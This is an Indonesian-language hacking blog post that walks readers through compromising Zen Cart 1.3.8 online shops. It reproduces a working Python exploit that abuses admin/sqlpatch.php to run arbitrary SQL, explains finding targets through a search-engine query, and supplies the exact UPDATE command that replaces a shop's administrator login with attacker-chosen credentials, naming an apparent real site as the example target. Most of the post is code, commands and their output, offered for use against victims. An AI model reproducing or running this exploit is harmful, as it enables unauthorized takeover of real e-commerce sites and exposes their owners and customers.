00.07
THE ILT HACKER
assalamualaikum
Langsung Aja Dibaca
buka google ketik : powered by zen cart ™
kalo udah nih ada pithon :
#!/usr/bin/python
#
# ------- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH 
#
#
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
# DELETE FROM `record_company_info` WHERE `record_company_id` = (SELECT `record_company_id` FROM `record_company` WHERE `record_company_image` = '8d317.php' LIMIT 1);
# DELETE FROM `record_company` WHERE `record_company_image` = '8d317.php';
import urllib, urllib2, re, sys
a,b = sys.argv,0
def option(name, need = 0):
global a, b
for param in sys.argv:
if(param == '-'+name): return str(sys.argv[b+1])
b = b + 1
if(need):
print '\n#error', "-"+name, 'parameter required'
exit(1)
if (len(sys.argv) < 2):
print """
=____________ Zen Cart 1.3.8 Remote SQL Execution Exploit ____________=
========================================================================
| BlackH <Bl4ck.H@gmail.com> |
========================================================================
| |
| $system> python """+sys.argv[0]+""" -url <url> |
| Param: <url> ex: http://victim.com/site (no slash) |
| |
| Note: blind "injection" |
========================================================================
"""
exit(1)
url, trick = option('url', 1), "/password_forgotten.php"
while True:
cmd = raw_input('sql@jah$ ')
if (cmd == "exit"): exit(1)
req = urllib2.Request(url+"/admin/sqlpatch.php"+trick+"?action=execute", urllib.urlencode({'query_string' : cmd}))
if (re.findall('1 statements processed',urllib2.urlopen(req).read())):
print '>> success (', cmd, ")"
else:
print '>> failed, be sure to end with ; (', cmd, ")"tuh pithon save dgn extensi zen.py
sebelum nya komputer kamu instal dlu pithon nya , kalo blum aja download aja di :http://www.python.org/ftp/python/2.5/python-2.5.msi
kalo udah buka cmd
misal zen.py kamu taruh di desktop bearti cmd kamu arahin ke desktop dlu
misal zen.py kamu taruh di desktop bearti cmd kamu arahin ke desktop dlu
kalo udah ketik : zen.py -url htttp://webkorban.com
contohh : zen.py -url http://customizthat.com/2010/admin/ <–enter
trus nanti ada tulisan $sql@jah
aklo ada tulisan itu bearti masukin perintah : UPDATE admin SET admin_name=’adminz’, admin_email=’admin@shopadmin.com’, admin_pass=’617ec22fbb8f201c366e9848c0eb6925:87′ WHERE admin_id=’1′; trus enter
contohh : zen.py -url http://customizthat.com/2010/admin/ <–enter
trus nanti ada tulisan $sql@jah
aklo ada tulisan itu bearti masukin perintah : UPDATE admin SET admin_name=’adminz’, admin_email=’admin@shopadmin.com’, admin_pass=’617ec22fbb8f201c366e9848c0eb6925:87′ WHERE admin_id=’1′; trus enter
kalo berhasil maka akan muncul kayak ini :
>> success ( UPDATE admin SET admin_name='adminz', admin_email='admin@shopadmin.
com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHERE admin_id='1'; )
sql@jah$contoh nya nih ss nya
Bugs Zen Cart
kalo udah succes, tinggal di url target ditambahin /admin/
kalo succes setiap username sama pasword nya itu adminz : wew
sekian dan terima kasih
Kalo berhasil ada tulisan ini
>> success ( UPDATE admin SET admin_name='adminz', admin_email='admin@shopadmin.
com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHERE admin_id='1'; )
sql@jah$Kalo gagal ada tulisan gini
>> failed, be sure to end with ; ( UPDATE admin SET admin_name='adminz', admin_e
mail='admin@shopadmin.com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHE
RE admin_id='1';Atau ini
Traceback (most recent call last):
File "C:\Documents and Settings\Toshiba\Desktop\zen.py", line 53, in
if (re.findall('1 statements processed',urllib2.urlopen(req).read())):
File "C:\Python25\lib\urllib2.py", line 121, in urlopen
return _opener.open(url, data)
File "C:\Python25\lib\urllib2.py", line 374, in open
response = self._open(req, data)
File "C:\Python25\lib\urllib2.py", line 392, in _open
'_open', req)
File "C:\Python25\lib\urllib2.py", line 353, in _call_chain
result = func(*args)
File "C:\Python25\lib\urllib2.py", line 1101, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "C:\Python25\lib\urllib2.py", line 1076, in do_open
raise URLError(err)
urllib2.URLError: 
